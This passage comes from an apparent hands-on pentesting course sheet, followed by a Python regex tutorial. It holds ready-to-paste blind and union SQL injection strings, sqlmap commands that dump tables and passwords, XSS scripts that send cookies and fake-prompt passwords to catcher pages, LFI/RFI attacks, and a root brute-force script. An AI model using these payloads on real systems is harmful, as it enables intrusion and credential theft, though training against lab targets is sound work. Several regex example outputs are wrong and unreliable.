  1052. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  1053. ---------------------------------------------------------------------------------------------------------
  1054.  
  1055. B - 2nd Character
  1056. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1057. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1058. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1059. ---------------------------------------------------------------------------------------------------------
  1060.  
  1061. O - 3rd Character
  1062. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1063. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1064. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  1065. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1066. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1067. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  1068. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
  1069. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1070. ---------------------------------------------------------------------------------------------------------
  1071.  
  1072.  
  1073.  
  1074.  
  1075. ##########
  1076. # Sqlmap #
  1077. ##########
  1078. If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:
  1079. ---------------------------Type This-----------------------------------
  1080. cd ~/toolz/sqlmap-dev/
  1081. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -b
  1082. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-user
  1083. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-db
  1084. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --dbs
  1085. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp --tables
  1086. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
  1087. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
  1088. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
  1089. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
  1090. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --users --passwords
  1091. ------------------------------------------------------------------------
  1092.  
  1093.  
  1094.  
  1095. #######################
  1096. # Attacking PHP/MySQL #
  1097. #######################
  1098.  
  1099. Go to LAMP Target homepage
  1100. ---------------------------Paste this into Firefox-----------------------------------
  1101. http://45.63.104.73/
  1102. -------------------------------------------------------------------------------------
  1103.  
  1104.  
  1105. Clicking on the Acer Link:
  1106. ---------------------------Paste this into Firefox-----------------------------------
  1107. http://45.63.104.73/acre2.php?lap=acer
  1108. -------------------------------------------------------------------------------------
  1109.  
  1110. - Found parameter passing (answer yes to question 1)
  1111. - Insert ' to test for SQLI
  1112.  
  1113. ---------------------------Paste this into Firefox-----------------------------------
  1114. http://45.63.104.73/acre2.php?lap=acer'
  1115. -------------------------------------------------------------------------------------
  1116.  
  1117. Page returns the following error:
  1118. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
  1119.  
  1120.  
  1121.  
  1122. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  1123. We do this using the ORDER BY
  1124. ---------------------------Paste this into Firefox-----------------------------------
  1125. http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
  1126. -------------------------------------------------------------------------------------
  1127.  
  1128.  
  1129. Page returns the following error:
  1130. Unknown column '100' in 'order clause'
  1131.  
  1132.  
  1133. ---------------------------Paste this into Firefox-----------------------------------
  1134. http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
  1135. -------------------------------------------------------------------------------------
  1136.  
  1137.  
  1138. Page returns the following error:
  1139. Unknown column '50' in 'order clause'
  1140.  
  1141.  
  1142. ---------------------------Paste this into Firefox-----------------------------------
  1143. http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
  1144. -------------------------------------------------------------------------------------
  1145.  
  1146. Page returns the following error:
  1147. Unknown column '25' in 'order clause'
  1148.  
  1149.  
  1150. ---------------------------Paste this into Firefox-----------------------------------
  1151. http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
  1152. -------------------------------------------------------------------------------------
  1153.  
  1154. Page returns the following error:
  1155. Unknown column '12' in 'order clause'
  1156.  
  1157.  
  1158. ---------------------------Paste this into Firefox-----------------------------------
  1159. http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
  1160. -------------------------------------------------------------------------------------
  1161. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  1162.  
  1163.  
  1164.  
  1165. Now we build out the union all select statement with the correct number of columns
  1166.  
  1167. Reference:
  1168. http://www.techonthenet.com/sql/union.php
  1169.  
  1170.  
  1171. ---------------------------Paste this into Firefox-----------------------------------
  1172. http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  1173. -------------------------------------------------------------------------------------
  1174.  
  1175.  
  1176.  
  1177. Now we negate the parameter value 'acer' by turning into the word 'null':
  1178. ---------------------------Paste this into Firefox-----------------------------------
  1179. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  1180. -------------------------------------------------------------------------------------
  1181.  
  1182. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  1183.  
  1184.  
  1185. Use a cheat sheet for syntax:
  1186. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  1187.  
  1188. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1189. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  1190.  
  1191. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  1192.  
  1193. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  1194.  
  1195. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  1196.  
  1197. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  1198. ------------------------------------------------------------------------------------- -------------------
  1199.  
  1200.  
  1201.  
  1202.  
  1203. Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
  1204.  
  1205. Here is a good reference for it:
  1206. https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
  1207.  
  1208. Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
  1209.  
  1210.  
  1211. ###############################################################################
  1212. # What is XSS #
  1213. # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx #
  1214. ###############################################################################
  1215.  
  1216. OK - what is Cross Site Scripting (XSS)
  1217.  
  1218. 1. Use Firefox to browse to the following location:
  1219. ---------------------------Paste this into Firefox-----------------------------------
  1220. http://45.63.104.73/xss_practice/
  1221. -------------------------------------------------------------------------------------
  1222.  
  1223. A really simple search page that is vulnerable should come up.
  1224.  
  1225.  
  1226.  
  1227.  
  1228. 2. In the search box type:
  1229. ---------------------------Paste this into Firefox-----------------------------------
  1230. <script>alert('So this is XSS')</script>
  1231. -------------------------------------------------------------------------------------
  1232.  
  1233.  
  1234. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  1235. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  1236.  
  1237.  
  1238. 3. In the search box type:
  1239. ---------------------------Paste this into Firefox-----------------------------------
  1240. <script>alert(document.cookie)</script>
  1241. -------------------------------------------------------------------------------------
  1242.  
  1243.  
  1244. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  1245. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  1246.  
  1247. 4. Now replace that alert script with:
  1248. ---------------------------Paste this into Firefox-----------------------------------
  1249. <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  1250. -------------------------------------------------------------------------------------
  1251.  
  1252. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  1253.  
  1254.  
  1255. 5. Now view the stolen cookie at:
  1256. ---------------------------Paste this into Firefox-----------------------------------
  1257. http://45.63.104.73/xss_practice/cookie_stealer_logs.html
  1258. -------------------------------------------------------------------------------------
  1259.  
  1260. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  1261.  
  1262.  
  1263.  
  1264.  
  1265.  
  1266.  
  1267. ############################
  1268. # A Better Way To Demo XSS #
  1269. ############################
  1270.  
  1271.  
  1272. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  1273.  
  1274.  
  1275. Use Firefox to browse to the following location:
  1276. ---------------------------Paste this into Firefox-----------------------------------
  1277. http://45.63.104.73/xss_practice/
  1278. -------------------------------------------------------------------------------------
  1279.  
  1280.  
  1281. Paste this in the search box
  1282. ----------------------------
  1283.  
  1284.  
  1285. Option 1
  1286. --------
  1287. ---------------------------Paste this into Firefox-----------------------------------
  1288. <script>
  1289. password=prompt('Your session is expired. Please enter your password to continue',' ');
  1290. document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
  1291. </script>
  1292. -------------------------------------------------------------------------------------
  1293.  
  1294. Now view the stolen cookie at:
  1295. ---------------------------Paste this into Firefox-----------------------------------
  1296. http://45.63.104.73/xss_practice/passwords.html
  1297. -------------------------------------------------------------------------------------
  1298.  
  1299.  
  1300. Option 2
  1301. --------
  1302. -------------------------Paste this into Firefox-----------------------------------
  1303. <script>
  1304. username=prompt('Please enter your username',' ');
  1305. password=prompt('Please enter your password',' ');
  1306. document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
  1307. </script>
  1308. -------------------------------------------------------------------------------------
  1309.  
  1310.  
  1311.  
  1312. Now view the stolen cookie at:
  1313. http://45.63.104.73/xss_practice/username_password_logs.html
  1314.  
  1315.  
  1316.  
  1317.  
  1318. #########################################
  1319. # Let's try a local file include (LFI) #
  1320. #########################################
  1321. - Here is an example of an LFI
  1322. - Open this page in Firefox:
  1323. -------------------------Paste this into Firefox-----------------------------------
  1324. http://45.63.104.73/showfile.php?filename=contactus.txt
  1325. -------------------------------------------------------------------------------------
  1326.  
  1327.  
  1328. - Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt)
  1329. - Here you see a direct reference to a file on the local filesystem of the victim machine.
  1330. - You can attack this by doing the following:
  1331. -------------------------Paste this into Firefox-----------------------------------
  1332. http://45.63.104.73/showfile.php?filename=/etc/passwd
  1333. -------------------------------------------------------------------------------------
  1334.  
  1335.  
  1336. - This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from
  1337. - somewhere else on the Internet. Here is an example of a text file on the web:
  1338. -------------------------Paste this into Firefox-----------------------------------
  1339. http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  1340. -------------------------------------------------------------------------------------
  1341.  
  1342. - Now we can attack the target via RFI like this:
  1343. -------------------------Paste this into Firefox-----------------------------------
  1344. http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  1345. -------------------------------------------------------------------------------------
  1346.  
  1347.  
  1348.  
  1349. ###############################
  1350. # How much fuzzing is enough? #
  1351. ###############################
  1352. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  1353.  
  1354. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  1355.  
  1356.  
  1357. Step 1: Ask yourself the 3 questions per page of the site.
  1358.  
  1359. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  1360.  
  1361. Step 3: When you load your fuzz strings - use the following decision tree
  1362.  
  1363. - Are the fuzz strings causing a default error message (example 404)?
  1364. - If this is the case then it is most likely NOT vulnerable
  1365.  
  1366. - Are the fuzz strings causing a WAF or LB custom error message?
  1367. - If this is the case then you need to find an encoding method to bypass
  1368.  
  1369.  
  1370. - Are the fuzz strings causing an error message that discloses the backend type?
  1371. - If yes, then identify DB type and find correct syntax to successfully exploit
  1372. - Some example strings that I use are:
  1373. '
  1374. "
  1375. () <----- Take the parameter value and put it in parenthesis
  1376. (5-1) <----- See if you can perform an arithmetic function
  1377.  
  1378.  
  1379. - Are the fuzz strings rendering executable code?
  1380. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  1381. - Some example strings that I use are:
  1382. <b>hello</b>
  1383. <u>hello</u>
  1384. <script>alert(123);</script>
  1385. <script>alert(xss);</script>
  1386. <script>alert('xss');</script>
  1387. <script>alert("xss");</script>
  1388.  
  1389.  
  1390.  
  1391.  
  1392.  
  1393.  
  1394. ######################################
  1395. # Python Functions & String Handling #
  1396. ######################################
  1397.  
  1398. Python can make use of functions:
  1399. http://www.tutorialspoint.com/python/python_functions.htm
  1400.  
  1401.  
  1402.  
  1403. Python can interact with the 'crypt' function used to create Unix passwords:
  1404. http://docs.python.org/2/library/crypt.html
  1405.  
  1406.  
  1407.  
  1408. Tonight we will see a lot of the split() method so be sure to keep the following references close by:
  1409. http://www.tutorialspoint.com/python/string_split.htm
  1410.  
  1411.  
  1412. Tonight we will see a lot of slicing so be sure to keep the following references close by:
  1413. http://techearth.net/python/index.php5?title=Python:Basics:Slices
  1414.  
  1415.  
  1416. ---------------------------Type This-----------------------------------
  1417. vi LFI-RFI.py
  1418.  
  1419.  
  1420. ---------------------------Paste This-----------------------------------
  1421.  
  1422.  
  1423. #!/usr/bin/env python
  1424. print "\n### PHP LFI/RFI Detector ###"
  1425.  
  1426. import urllib2,re,sys
  1427.  
  1428. TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
  1429. RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
  1430. TravLimit = 12
  1431.  
  1432. print "==> Testing for LFI vulns.."
  1433. TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
  1434. for x in xrange(1,TravLimit): ## ITERATE THROUGH THE LOOP
  1435. TARGET += "../"
  1436. try:
  1437. source = urllib2.urlopen((TARGET+"etc/passwd")).read() ## WEB REQUEST
  1438. except urllib2.URLError, e:
  1439. print "$$$ We had an Error:",e
  1440. sys.exit(0)
  1441. if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
  1442. print "!! ==> LFI Found:",TARGET+"etc/passwd"
  1443. break ## BREAK LOOP WHEN VULN FOUND
  1444.  
  1445. print "\n==> Testing for RFI vulns.."
  1446. TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
  1447. try:
  1448. source = urllib2.urlopen(TARGET).read() ## WEB REQUEST
  1449. except urllib2.URLError, e:
  1450. print "$$$ We had an Error:",e
  1451. sys.exit(0)
  1452. if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
  1453. print "!! => RFI Found:",TARGET
  1454.  
  1455. print "\nScan Complete\n" ## DONE
  1456.  
  1457.  
  1458.  
  1459. -----------------------------------------------------------------------
  1460.  
  1461.  
  1462. #####################
  1463. # Password Cracking #
  1464. #####################
  1465.  
  1466. ---------------------------Type This-----------------------------------
  1467.  
  1468. wget http://45.63.104.73/htcrack.py
  1469.  
  1470. vi htcrack.py
  1471.  
  1472. vi list.txt
  1473.  
  1474. ---------------------------Paste This-----------------------------------
  1475.  
  1476. hello
  1477. goodbye
  1478. red
  1479. blue
  1480. yourname
  1481. tim
  1482. bob
  1483.  
  1484. -----------------------------------------------------------------------
  1485.  
  1486. ---------------------------Type This-----------------------------------
  1487.  
  1488. htpasswd -nd yourname
  1489. - enter yourname as the password
  1490.  
  1491.  
  1492.  
  1493. python htcrack.py joe:7XsJIbCFzqg/o list.txt
  1494.  
  1495.  
  1496.  
  1497.  
  1498. sudo apt-get install -y python-mechanize python-pexpect python-pexpect-doc
  1499.  
  1500. rm -rf mechanize-0.2.5.tar.gz
  1501.  
  1502. sudo /bin/bash
  1503.  
  1504. passwd
  1505. ***set root password***
  1506.  
  1507.  
  1508.  
  1509. ---------------------------Type This-----------------------------------
  1510.  
  1511. vi rootbrute.py
  1512.  
  1513. ---------------------------Paste This-----------------------------------
  1514.  
  1515. #!/usr/bin/env python
  1516.  
  1517. import sys
  1518. try:
  1519. import pexpect
  1520. except(ImportError):
  1521. print "\nYou need the pexpect module."
  1522. print "http://www.noah.org/wiki/Pexpect\n"
  1523. sys.exit(1)
  1524.  
  1525. #Change this if needed.
  1526. # LOGIN_ERROR = 'su: incorrect password'
  1527. LOGIN_ERROR = "su: Authentication failure"
  1528.  
  1529. def brute(word):
  1530. print "Trying:",word
  1531. child = pexpect.spawn('/bin/su')
  1532. child.expect('Password: ')
  1533. child.sendline(word)
  1534. i = child.expect (['.+\s#\s',LOGIN_ERROR, pexpect.TIMEOUT],timeout=3)
  1535. if i == 1:
  1536. print "Incorrect Password"
  1537.  
  1538. if i == 2:
  1539. print "\n\t[!] Root Password:" ,word
  1540. child.sendline ('id')
  1541. print child.before
  1542. child.interact()
  1543.  
  1544. if len(sys.argv) != 2:
  1545. print "\nUsage : ./rootbrute.py <wordlist>"
  1546. print "Eg: ./rootbrute.py words.txt\n"
  1547. sys.exit(1)
  1548.  
  1549. try:
  1550. words = open(sys.argv[1], "r").readlines()
  1551. except(IOError):
  1552. print "\nError: Check your wordlist path\n"
  1553. sys.exit(1)
  1554.  
  1555. print "\n[+] Loaded:",len(words),"words"
  1556. print "[+] BruteForcing...\n"
  1557. for word in words:
  1558. brute(word.replace("\n",""))
  1559.  
  1560.  
  1561. -----------------------------------------------------------------------
  1562.  
  1563.  
  1564. References you might find helpful:
  1565. http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python
  1566.  
  1567.  
  1568.  
  1569.  
  1570.  
  1571.  
  1572.  
  1573. ---------------------------Type This-----------------------------------
  1574.  
  1575.  
  1576. wget http://45.63.104.73/md5crack.py
  1577.  
  1578. vi md5crack.py
  1579.  
  1580.  
  1581. -----------------------------------------------------------------------
  1582.  
  1583.  
  1584.  
  1585.  
  1586. Why use hexdigest
  1587. http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string
  1588.  
  1589.  
  1590.  
  1591.  
  1592. http://md5online.net/
  1593.  
  1594.  
  1595.  
  1596.  
  1597.  
  1598. ---------------------------Type This-----------------------------------
  1599.  
  1600. wget http://45.63.104.73/wpbruteforcer.py
  1601.  
  1602. nano wpbruteforcer.py
  1603.  
  1604. -----------------------------------------------------------------------
  1605.  
  1606. #######################
  1607. # Regular Expressions #
  1608. #######################
  1609.  
  1610.  
  1611.  
  1612. **************************************************
  1613. * What is Regular Expression and how is it used? *
  1614. **************************************************
  1615.  
  1616.  
  1617. Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file.
  1618.  
  1619.  
  1620. Regular expressions use two types of characters:
  1621.  
  1622. a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
  1623.  
  1624. b) Literals (like a,b,1,2…)
  1625.  
  1626.  
  1627. In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
  1628.  
  1629.  
  1630. Use this code --> import re
  1631.  
  1632.  
  1633.  
  1634.  
  1635. The most common uses of regular expressions are:
  1636. --------------------------------------------------
  1637.  
  1638. - Search a string (search and match)
  1639. - Finding a string (findall)
  1640. - Break string into a sub strings (split)
  1641. - Replace part of a string (sub)
  1642.  
  1643.  
  1644.  
  1645. Let's look at the methods that library "re" provides to perform these tasks.
  1646.  
  1647.  
  1648.  
  1649. ****************************************************
  1650. * What are various methods of Regular Expressions? *
  1651. ****************************************************
  1652.  
  1653.  
  1654. The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
  1655.  
  1656. re.match()
  1657. re.search()
  1658. re.findall()
  1659. re.split()
  1660. re.sub()
  1661. re.compile()
  1662.  
  1663. Let's look at them one by one.
  1664.  
  1665.  
  1666. re.match(pattern, string):
  1667. -------------------------------------------------
  1668.  
  1669. This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
  1670.  
  1671. Code
  1672. ---------------------------Type This-----------------------------------
  1673.  
  1674. import re
  1675. result = re.match(r'AV', 'AV Analytics ESET AV')
  1676. print result
  1677. ----------------------------------------------------------------------
  1678.  
  1679. Output:
  1680. <_sre.SRE_Match object at 0x0000000009BE4370>
  1681.  
  1682. Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
  1683.  
  1684. ---------------------------Type This-----------------------------------
  1685.  
  1686. result = re.match(r'AV', 'AV Analytics ESET AV')
  1687. print result.group(0)
  1688. ----------------------------------------------------------------------
  1689.  
  1690. Output:
  1691. AV
  1692.  
  1693.  
  1694. Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
  1695.  
  1696.  
  1697. Code
  1698. ---------------------------Type This-----------------------------------
  1699.  
  1700. result = re.match(r'Analytics', 'AV Analytics ESET AV')
  1701. print result
  1702. ----------------------------------------------------------------------
  1703.  
  1704.  
  1705. Output:
  1706. None
  1707.  
  1708.  
  1709. There are methods like start() and end() to know the start and end position of matching pattern in the string.
  1710.  
  1711. Code
  1712. ---------------------------Type This-----------------------------------
  1713.  
  1714. result = re.match(r'AV', 'AV Analytics ESET AV')
  1715. print result.start()
  1716. print result.end()
  1717. ----------------------------------------------------------------------
  1718.  
  1719. Output:
  1720. 0
  1721. 2
  1722.  
  1723. Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
  1724.  
  1725.  
  1726.  
  1727.  
  1728.  
  1729. re.search(pattern, string):
  1730. -----------------------------------------------------
  1731.  
  1732.  
  1733. It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
  1734.  
  1735. Code
  1736. ---------------------------Type This-----------------------------------
  1737.  
  1738. result = re.search(r'Analytics', 'AV Analytics ESET AV')
  1739. print result.group(0)
  1740. ----------------------------------------------------------------------
  1741.  
  1742. Output:
  1743. Analytics
  1744.  
  1745. Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
  1746.  
  1747.  
  1748.  
  1749.  
  1750.  
  1751.  
  1752. re.findall (pattern, string):
  1753. ------------------------------------------------------
  1754.  
  1755.  
  1756. It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
  1757.  
  1758.  
  1759. Code
  1760. ---------------------------Type This-----------------------------------
  1761.  
  1762. result = re.findall(r'AV', 'AV Analytics ESET AV')
  1763. print result
  1764. ----------------------------------------------------------------------
  1765.  
  1766. Output:
  1767. ['AV', 'AV']
  1768.  
  1769.  
  1770.  
  1771.  
  1772.  
  1773. re.split(pattern, string, [maxsplit=0]):
  1774. ------------------------------------------------------
  1775.  
  1776.  
  1777.  
  1778. This methods helps to split string by the occurrences of given pattern.
  1779.  
  1780.  
  1781. Code
  1782. ---------------------------Type This-----------------------------------
  1783.  
  1784. result=re.split(r'y','Analytics')
  1785. result
  1786. ----------------------------------------------------------------------
  1787.  
  1788. Output:
  1789. []
  1790.  
  1791. Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
  1792.  
  1793.  
  1794. Code
  1795. ---------------------------Type This-----------------------------------
  1796.  
  1797. result=re.split(r's','Analytics eset')
  1798. print result
  1799. ----------------------------------------------------------------------
  1800.  
  1801. Output:
  1802. ['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s".
  1803.  
  1804.  
  1805.  
  1806. Code
  1807. ---------------------------Type This-----------------------------------
  1808.  
  1809. result=re.split(r's','Analytics eset',maxsplit=1)
  1810. result
  1811. ----------------------------------------------------------------------
  1812.  
  1813. Output:
  1814. []
  1815.  
  1816.  
  1817.  
  1818.  
  1819.  
  1820. re.sub(pattern, repl, string):
  1821. ----------------------------------------------------------
  1822.  
  1823. It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
  1824.  
  1825. Code
  1826. ---------------------------Type This-----------------------------------
  1827.  
  1828. result=re.sub(r'Ruby','Python','Joe likes Ruby')
  1829. result
  1830. ----------------------------------------------------------------------
  1831.  
  1832. Output:
  1833. ''
  1834.  
  1835.  
  1836.  
  1837.  
  1838.  
  1839. re.compile(pattern, repl, string):
  1840. ----------------------------------------------------------
  1841.  
  1842.  
  1843. We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
  1844.  
  1845.  
  1846. Code
  1847. ---------------------------Type This-----------------------------------
  1848.  
  1849. import re
  1850. pattern=re.compile('XSS')
  1851. result=pattern.findall('XSS is Cross Site Scripting, XSS')
  1852. print result
  1853. result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
  1854. print result2
  1855. ----------------------------------------------------------------------
  1856.  
  1857. Output:
  1858. ['XSS', 'XSS']
  1859. ['XSS']
  1860.  
  1861. Till now, we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string? Don't be intimidated.
  1862.  
  1863. This can easily be solved by defining an expression with the help of pattern operators (meta and literal characters). Let's look at the most common pattern operators.
  1864.  
  1865.  
  1866.  
  1867.  
  1868.  
  1869. **********************************************
  1870. * What are the most commonly used operators? *
  1871. **********************************************
  1872.  
  1873.  
  1874. Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and text mining to extract required information.
  1875.  
  1876. Operators Description
  1877. . Matches with any single character except newline ‘\n'.
  1878. ? match 0 or 1 occurrence of the pattern to its left
  1879. + 1 or more occurrences of the pattern to its left
  1880. * 0 or more occurrences of the pattern to its left
  1881. \w Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
  1882. \d Matches with digits [0-9] and /D (upper case D) matches with non-digits.
  1883. \s Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
  1884. \b boundary between word and non-word and /B is opposite of /b
  1885. [..] Matches any single character in a square bracket and [^..] matches any single character not in square bracket
  1886. \ It is used for special meaning characters like \. to match a period or \+ for plus sign.
  1887. ^ and $ ^ and $ match the start or end of the string respectively
  1888. {n,m} Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
  1889. a| b Matches either a or b
  1890. ( ) Groups regular expressions and returns matched text
  1891. \t, \n, \r Matches tab, newline, return
  1892.  
  1893.  
  1894. For more details on meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
  1895.  
  1896. Now, let's understand the pattern operators by looking at the below examples.
  1897.  
  1898.  
  1899.  
  1900. ****************************************
  1901. * Some Examples of Regular Expressions *
  1902. ****************************************
  1903.  
  1904. ******************************************************
  1905. * Problem 1: Return the first word of a given string *
  1906. ******************************************************
  1907.  
  1908.  
  1909. Solution-1 Extract each character (using "\w")
  1910. ---------------------------------------------------------------------------
  1911.  
  1912. Code
  1913. ---------------------------Type This-----------------------------------
  1914.  
  1915. import re
  1916. result=re.findall(r'.','Python is the best scripting language')
  1917. print result
  1918. ----------------------------------------------------------------------
  1919.  
  1920. Output:
  1921. ['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
  1922.  
  1923.  
  1924. Above, space is also extracted, now to avoid it use "\w" instead of ".".
  1925.  
  1926.  
  1927. Code
  1928. ---------------------------Type This-----------------------------------
  1929.  
  1930. result=re.findall(r'\w','Python is the best scripting language')
  1931. print result
  1932. ----------------------------------------------------------------------
